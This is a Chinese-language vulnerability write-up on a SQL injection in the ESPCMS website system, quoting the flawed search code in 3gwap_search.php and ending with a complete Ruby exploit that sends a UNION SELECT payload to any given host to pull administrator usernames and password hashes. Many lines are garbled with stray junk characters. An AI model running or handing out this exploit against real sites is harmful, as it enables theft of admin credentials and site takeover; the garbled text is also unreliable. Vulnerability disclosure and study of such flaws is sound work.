0×0 漏洞概述0×1 漏洞细节8 q& N8 l( @) Q x8 ^: ?
0×2 PoC
/ r! ^5 s; C7 Y2 f5 N
5 V+ o0 l+ N9 ?% R- k
# E2 o, w! |9 h# k# [* T" Z& d+ l8 T6 `& ?+ K
0×0 漏洞概述* k6 f$ h) C! }, O5 a3 `4 m
- \. m2 u- `+ D% J* l易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有操作简单、功能强大、稳定性好、扩展性及安全性强、二次开发及后期维护方便,可以帮您迅速、轻松地构建起一个强大专业的企业网站。
* x" E; x! W0 o' c! p2 V( {, p其在处理传入的参数时考虑不严谨导致SQL注入发生
! l8 R$ k- E6 t
, y8 e- J- U* P( i4 E) d1 j% C5 k4 n# W, K. Q4 P! m1 n2 a6 \
0×1 漏洞细节
/ J, W. |4 S& A' v
; j( U2 c3 V6 e; P变量的传递过程是$_SERVER['QUERY_STRING']->$urlcode->$output->$value->$db_where->$sql->mysql_query,整个过程无过滤导致了注入的发生。
x( H& Y H5 ?. N2 M正因为变量是从$_SERVER['QUERY_STRING']中去取的,所以正好避开了程序的过滤。4 A9 @( C3 |2 `2 B- y
而注入的变量是数组的值,并非数组的key,所以也没过被过滤,综合起来形成了一个比较少见的SQL注入。
! e: q3 l/ r+ h8 D! X* d% b6 M3 k. n# B0 x
在/interface/3gwap_search.php文件的in_result函数中:. B3 F2 U! [- ^! ~
' x5 ]% b( V0 _) W. k
4 g; h g3 y3 N) k/ ]* Q8 U
4 ~9 b9 K5 F: U( K2 k6 |1 p' S) U. G function in_result() {
( c) \, f. t+ R2 H4 o ... ... ... ... ... ... ... ... ...# J. l# t4 R N
$urlcode = $_SERVER[ 'QUERY_STRING '];1 y/ ]6 i K4 f) d2 A" `
parse_str(html_entity_decode($urlcode), $output);% P! o/ U7 ^: } k
- S' p- n6 G" J! Q5 E& |0 D
... ... ... ... ... ... ... ... ...
- a9 ^. o5 V' ~% P$ R# n if (is_array($output['attr' ]) && count($output['attr']) > 0) {' b$ }, C( M8 Z& {
0 ^2 q" l' W( U7 O. ~7 w$ D
$db_table = db_prefix . 'model_att';
* X$ L+ ^4 m3 K* {0 K" T- t% h' V9 m8 i( I
foreach ($output['attr' ] as $key => $value) {
- U: {' J- k* Z% `4 ? if ($value) {/ \( N5 \, O. f! p
. d; l% t. B1 Z/ f4 | $key = addslashes($key);
+ v2 S/ R c h$ A; A $key = $this-> fun->inputcodetrim($key);
, |; w1 H% M; b! ]# R1 d, i $db_att_where = " WHERE isclass=1 AND attrname='$key'";
0 e h# `. b l8 z8 h8 L. R" P $countnum = $this->db_numrows($db_table, $db_att_where);
8 O' ? O9 }" {8 T6 r if ($countnum > 0) {7 a' R+ D% @1 t) {. l0 }
$db_where .= ' AND b.' . $key . '=\'' . $value . '\'' ;
- {/ n+ n8 [! R. |+ e }; K# U, E3 O8 s# W+ k# A
}
/ n7 K2 J2 Z" i) J k }
/ Q0 d9 A7 E1 _1 U8 b }
0 a2 r5 ~( Z7 N' [& h# K3 o+ X3 u if (!empty ($keyword) && empty($keyname)) {
1 X L/ p/ l( j J7 b6 f& w $keyname = 'title';
9 y: K; @# t! D2 V( m* h. M- W, B $db_where.= " AND a.title like '%$keyword%'" ;. @5 ?! ?) C9 ]
} elseif (!empty ($keyword) && !empty($keyname)) {
; N$ _/ p) I- Z" H) s $db_where.= " AND $keyname like '% $keyword%'";2 V5 t" t& i7 Q: ` m; o4 h( B
}
% F" e- z% f/ k' X" e $pagemax = 15;
q9 E1 Y* f! o6 p5 m
/ t5 R! [5 Y7 o: J4 p $pagesylte = 1;
- y- C! x) T* ^
/ _7 E0 O8 ]1 d: G if ($countnum > 0) {
# g7 p1 S g6 _1 c K% N6 ?" N7 z# e2 z: L
$numpage = ceil($countnum / $pagemax);4 K( M9 ]' _, R, r
} else {8 g* |4 @; Z$ U H3 V
$numpage = 1;
; S4 O# @0 V/ a }
* l" z7 W- c8 D' ^( \! \ $sql = "SELECT b.*,a.* FROM " . db_prefix . "document AS a LEFT JOIN " . db_prefix . "document_attr AS b ON a.did=b.did " . $db_where . ' LIMIT 0,' . $pagemax;
$ ?( V. q9 O3 p0 F! ` $this-> htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON ['file_fileex' ], 5, $this->lng['pagebotton' ], $this->lng['gopageurl'], 0);
# S- u# P. g6 d @; k$sql = $this-> htmlpage->PageSQL('a.did' , 'down' ); $rs = $this->db->query($sql);$ e! Z! j* K4 G$ j* `
... ... ... ... ... ... ... ... ...
6 x8 U; D H: D* s n }( [7 }$ c3 [( t u/ O }* S
3 S. F, @& C7 h# C$ W& p% V
3 X0 V7 B# v0 s; Y
0×2 PoC# m1 M" Z& y5 _
, J+ _. |! N" f% x$ i
$ X7 k! E: L/ X
$ T) X& S" e& w1 ~0 \require "net/http"8 v# P5 R+ ^% O. O( t- Z
2 e) {# p1 ?$ s0 s( `! z
def request(method, url)
4 ?0 K, o' m0 N& z( k& r% Y if method.eql?("get")
1 q% _; N. [% V" O1 A2 ` uri = URI.parse(url)
8 V/ ^- @& N: L- n http = Net::HTTP.new(uri.host, uri.port)& ?# L0 r7 W" F: b+ \1 l5 g" f( x
response = http.request(Net::HTTP::Get.new(uri.request_uri))" K' w" a9 `) x6 h/ W: ^
return response
3 J l( ~/ |& Z$ W end
+ z( {) A0 }8 zend
! u& q+ M# k# x8 X$ s8 M. o% t
! g9 j! U8 e. c2 p2 w3 D. Gdoc =<<HERE, T0 c- c6 H, T; z: L4 ^
-------------------------------------------------------
! q2 O+ @( z+ }Espcms Injection Exploit
# m9 a( Z9 B Z, V$ e7 LAuthor:ztz
# n+ `# g8 u9 n0 p. @$ lBlog:http://ztz.fuzzexp.org/8 k- O9 R2 _5 N7 I' y) e
-------------------------------------------------------
2 ?6 e: p$ \3 Z/ I* [5 Q$ q5 u6 X: \ C$ N% U
HERE* z4 z* s! G( h8 c; B2 S" z/ t
" s5 q" m) o, \5 w+ Q uusage =<<HERE+ Y9 i' C3 v9 H
Usage: ruby #{$0} host port path U1 k7 n* r0 W: V; \2 h/ }7 g
example: ruby #{$0} www.target.com 80 /
' Q( C7 \' U4 e5 S9 ?* ~( \7 eHERE2 i6 w/ J! o; |3 p4 D, ~
/ ~; S: P2 A& l+ p$ p, ]+ eputs doc0 w. e5 }) `' i B' A
if ARGV.length < 3) p# Z* t# y" X# `
puts usage
% W8 c; l2 x& H2 [$ o: W; F# celse
9 s5 V2 _: q; a5 U $host = ARGV[0]
$ F" W* M4 u& I( C: U: d $port = ARGV[1]
3 ?+ r% s1 h) j $path = ARGV[2]
: K8 r7 t9 r- B0 ]2 K5 z
% ^# S9 Q$ t+ e) k' U/ ~. `. A puts "send request..."
7 j) j+ g8 W. i& C url = "http://#{$host}:#{$port}#{$path}wap/index.php?ac=search&at=result&lng=cn&mid=3&tid=11&keyword=1&keyname=a.title&countnum=1&) r; @, {$ N7 F& k" l
attr[jobnum]=1%27%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,138 f) [% R/ V& n6 l' U0 G0 r
,14,15,16,17,18,19,20,21,22,23,24,25,concat%28username,CHAR%2838%29,password%29,27
* E7 E# J% u, ^1 S5 F) P( Y: t,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45%20from%20espcms_admin_member;%23"
) S8 @/ h: R- U; w1 O response = request("get", url)4 A7 t. X% u; g: G" M/ ?/ A
result = response.body.scan(/\w+&\w{32}/)
. M* C2 p( ~- s5 X) P+ K puts result( X- E3 p1 b8 u: k" s) n
end" C: w4 N N; W o6 m: k; V
|. ^0 W7 w+ D
|